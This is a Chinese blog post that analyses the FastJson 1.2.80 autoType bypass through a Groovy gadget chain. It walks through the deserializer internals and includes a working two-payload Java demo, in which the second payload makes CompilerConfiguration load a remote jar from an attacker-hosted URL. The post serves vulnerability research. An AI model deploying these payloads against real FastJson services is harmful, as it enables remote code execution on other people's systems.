FastJson1.2.80漏洞浅析
2022-10-13 00:0:0 Author: hpdoger.cn(查看原文) 阅读量:18 收藏

漏洞环境

内容来自@浅蓝的HackingJson议题,本篇文章以理清漏洞思路为主,分为两部分来讲。以下是基于fastjson1.2.80 + groovy 的简易环境。

<dependency>
      <groupId>com.alibaba</groupId>
      <artifactId>fastjson</artifactId>
      <version>1.2.80</version>
    </dependency>
    <dependency>
      <groupId>org.codehaus.groovy</groupId>
      <artifactId>groovy-all</artifactId>
      <version>3.0.13</version>
    </dependency>
  </dependencies>

执行demo

package org.example;

import com.alibaba.fastjson.JSON;

//1.2.76-1.2.80
public class FastJson_1280_groovy {
    public static void main(String[] args) {
        String payload_1 = "{\n" +
                "    \"@type\":\"java.lang.Exception\",\n" +
                "    \"@type\":\"org.codehaus.groovy.control.CompilationFailedException\",\n" +
                "    \"unit\":{}\n" +
                "}";
        String payload_2 = "{\n" +
                "    \"@type\":\"org.codehaus.groovy.control.ProcessingUnit\",\n" +
                "    \"@type\":\"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit\",\n" +
                "    \"config\":{\n" +
                "        \"@type\":\"org.codehaus.groovy.control.CompilerConfiguration\",\n" +
                "        \"classpathList\":\"http://127.0.0.1:81/attack-1.jar\"\n" +
                "    }\n" +
                "}";
        System.out.println(payload_1);
        System.out.println(payload_2);

        try {
            JSON.parseObject(payload_1);
        } catch (Exception e) {
        }
        JSON.parseObject(payload_2);
    }
}

0x01-添加新的反序列化器

parseObject开始追踪调用栈,经过简单的调用到获取反序列化器

当第一次传递的@typejava.lang.Exception 时,clazz获取到的是java.lang.Exception的类实例。由于java.lang.Exception继承自Throwable ,通过getDeserializer 函数拿到Throwable 的反序列化器ThrowableDeserializer

Untitled

在拿到反序列化器ThrowableDeserializer 后,继而调用序列化器接口方法deserialze 对后续json字符串进行反序列化

Untitled 2

每个JavaBeanDeserializer(json反序列化器)的原理都大致相同。在ThrowableDeserializer#deserialze 方法内,会对新的@type字段指向的类进行checkAutoType校验:传递@type字段作为其typename参数、Throwable.class 作为其expectClass 参数

Untitled 3

Untitled 4

因为传递了期望类(在这里是Throwable.class),在经过if (autoTypeSupport || jsonType || expectClassFlag) 时判断成立,利用TypeUtils.loadClass 获得org.codehaus.groovy.control.CompilationFailedException类对象

Untitled 5

紧接着在checkAutoType#1199行判断当前的clazzexpectClass是否来自相同接口,若相同则将该clazz添加至TypeUtils.mappings 中并将clazz返回。由于我们传递的CompilationFailedException继承自Exception且都实现了Throwable 接口,这里就直接返回CompilationFailedException类对象。

Untitled 6

ThrowableDeserializer#deserialze 流程继续往下走,会获取一个叫做fieldInfo 的对象,此对象封装了@type 所指类对象中的成员参数信息,例如成员参数名、参数值、参数类对象信息等。在样例payload中我们传递的是CompilationFailedException.unit参数,类型为ProcessingUnit ,那么获取到的filedInfo值如下图所示

Untitled 7

接下来是重点,将类成员的类型(filedInfo.filedType)、类成员的值、ParserConfig对象丢入函数TypeUtils.cast

Untitled 8

而在cast函数内经过一系列链式调用到putDeserializer方法。putDeserializer会对传入的filedType生成与之相应的JavaBeanDeserializer,并通过Hashmap.put方法将其加入到ParserConfig.deserializers

putDeserializer:1148, ParserConfig (com.alibaba.fastjson.parser)
getDeserializer:911, ParserConfig (com.alibaba.fastjson.parser)
getDeserializer:613, ParserConfig (com.alibaba.fastjson.parser)
castToJavaBean:1560, TypeUtils (com.alibaba.fastjson.util)
cast:1128, TypeUtils (com.alibaba.fastjson.util)
cast:1324, TypeUtils (com.alibaba.fastjson.util)

Untitled 9

0x02-绕过autotype

上文0x01所讲的都是payload_1所发挥的作用,接下来看看payload_2是如何绕过了autotype

首先@type字段指向CompilationFailedException的成员类型org.codehaus.groovy.control.ProcessingUnit 。由于在[email protected]_1部分已经将ProcessingUnit 生成的反序列化器添加到ParserConfig中,于是在#1115行能够获取到ProcessingUnit类对象,

Untitled 10

紧接着的反序列化流程与0x01如出一辙,利用ProcessingUnitJavaBeanDeserializer#deserialize 实现后续的json反序列化,并将ProcessingUnit 作为expectClass使用。

Untitled 11

凡继承自ProcessingUnit 的类都能被反序列化而绕过autotype,例如我们使用的sink类JavaStubCompilationUnit。在[email protected]_1中我们使用的是Exception作为json反序列化器与expectClass

Untitled 12

以上和fastjson1.2.68的攻击思路也是相同的,68利用AutoCloseable作为期望类,而1.2.68之后的版本将AutoCloseable列为了黑名单。于笔者而言,此漏洞最重要的一点在于拓宽了利用链的寻找视野。

简单看下面的图片描述,我将0x01的操作称为trigger。从Exception类出发,经过一次trigger就能将成员类型B添加进反序列化器(javabeanDeserializer),我们也可以理解为将B类作为期望类白名单,从而继承自B的类也能够无视autotype进行反序列化。第二次trigger流程也是如此,将C类中某成员类型D加入期望类白名单……因此,循环往复进行就能将成员类型B、D、F添加成为新的期望类白名单(类比效果,其实是加入到反序列化器中)

Untitled 13

对于攻击者而言,只需要找到C类、D类、E类、F类中任意可用的字段作为sink点即可,如果这些类中的字段在setter、构造函数中有被恶意调用,则利用成功。在groovy利用的exp中,CompilerConfiguration 的构造函数存在远程classpath加载的漏洞

0x03-两个问题

问题-1

Q:为什么需要多个poc,其中一个parseObject写在try catch中,另一个正常写入?

A:第一个payload为了将恶意的Class引入为ExpectClass,第二个payload是为了触发恶意Class中的构造方法、set/get方法等。具体原因在于,payload_1执行的过程中,在经过cast函数后获取到的value为null,而后在setValue 添加null值时会造成异常错误将本次parseObject终止。

Untitled 14
Untitled 15

因此需要在第一次payload_1执行中捕获异常,payload_2触发sink类中的恶意利用

问题-2

Q:在webapp的场景下,发送两次payload会影响反序列化器的生命周期吗?

A:不会影响。fastJson在调用parseObject解析时,传递的ParserConfig对象为静态变量,反序列化器作为deserializers属性存储在ParserConfig中

Untitled 16
Untitled 17
Untitled 18


文章来源: https://hpdoger.cn/2022/10/13/title:%20FastJson1.2.80%E6%BC%8F%E6%B4%9E%E6%B5%85%E6%9E%90/
如有侵权请联系:admin#unsafe.sh